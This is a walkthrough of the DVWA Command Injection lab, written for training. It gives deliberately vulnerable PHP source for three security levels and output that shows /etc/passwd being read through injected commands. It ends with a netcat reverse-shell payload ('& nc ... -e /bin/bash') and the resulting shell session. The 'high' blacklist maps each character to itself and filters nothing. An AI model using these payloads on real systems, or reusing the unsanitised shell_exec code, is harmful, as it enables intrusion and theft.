


02. Command Injection



[Home](#)
[Instructions](#)
[Setup / Reset DB](#)

[Brute Force](#)
[Command Injection](#)
[CSRF](#)
[File Inclusion](#)
[File Upload](#)
[Insecure CAPTCHA](#)
[SQL Injection](#)
[SQL Injection \(Blind\)](#)

Vulnerability: Command Injection

Ping a device
Enter an IP address:

More Information

- <https://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution>
- <http://www.ss64.com/bash/>
- <http://www.ss64.com/nt/>
- https://owasp.org/www-community/attacks/Command_Injection

Command Injection Low Security

[Home](#)
[Instructions](#)
[Setup / Reset DB](#)

[Brute Force](#)
[Command Injection](#)
[CSRF](#)
[File Inclusion](#)
[File Upload](#)
[Insecure CAPTCHA](#)
[SQL Injection](#)
[SQL Injection \(Blind\)](#)
[Weak Session IDs](#)
[XSS \(DOM\)](#)
[XSS \(Reflected\)](#)
[XSS \(Stored\)](#)
[CSP Bypass](#)
[JavaScript](#)
[Authorisation Bypass](#)
[Open HTTP Redirect](#)
[Cryptography](#)

[DVWA Security](#)

Vulnerability: Command Injection

Ping a device
Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.053 ms  
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.064 ms  
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.105 ms  
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.085 ms  
  
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3274ms  
rtt min/avg/max/mdev = 0.053/0.076/0.105/0.019 ms  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin  
_galera:x:100:65534::/nonexistent:/usr/sbin/nologin  
mysql:x:101:102:MariaDB Server,,,:/nonexistent:/bin/false
```

Source Code :

Command Injection Source

vulnerabilities/exec/source/low.php

```
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( strpos( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
```

Command Injection Medium Security

vulnerabilities/exec/source/medium.php

```
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( strpos( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
```

Vulnerability: Command Injection

Ping a device

Enter an IP address:

Submit

```
/var/www/html/DVWA/vulnerabilities/exec
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.060 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.103 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.082 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.101 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3271ms
rtt min/avg/max/mdev = 0.060/0.086/0.103/0.017 ms
```

Vulnerability: Command Injection

Ping a device

Enter an IP address:

Submit

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534:/:/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

Command Injection High Security

```

<?php
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '|' => '|',
        '&' => '&',
        ':' => ':',
        '|' => '|',
        '-' => '-',
        '$' => '$',
        '(' => '(',
        ')' => ')',
        '.' => '.',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stripos( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

```

Vulnerability: Command Injection

Ping a device

Enter an IP address:

[help](#)
[index.php](#)
[source](#)

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Netcat Reverse Shell on Command Injection

On Attacker System -


```
nc -l -p 2222
```

-l = Listen the upcoming connection

-p = Port No

-v = Verbose

On Target Input parameter -



[Home](#)
[Instructions](#)
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[Brute Force](#)
[Command Injection](#)
[CSRF](#)
[File Inclusion](#)
[File Upload](#)
[Insecure CAPTCHA](#)
[SQL Injection](#)

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```
& nc 192.168.1.37 2222 -e /bin/bash
```

`-e` = shell execution

```
root@Mrwebsecure: /etc/php/8.2/apache2
root@Mrwebsecure:/etc/php/8.2/apache2# nc -l -p 2222
ls
help
index.php
source
cat /etc/hosts
127.0.0.1    localhost
127.0.1.1    Mrwebsecure

# The following lines are desirable for IPv6 capable hosts
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters
```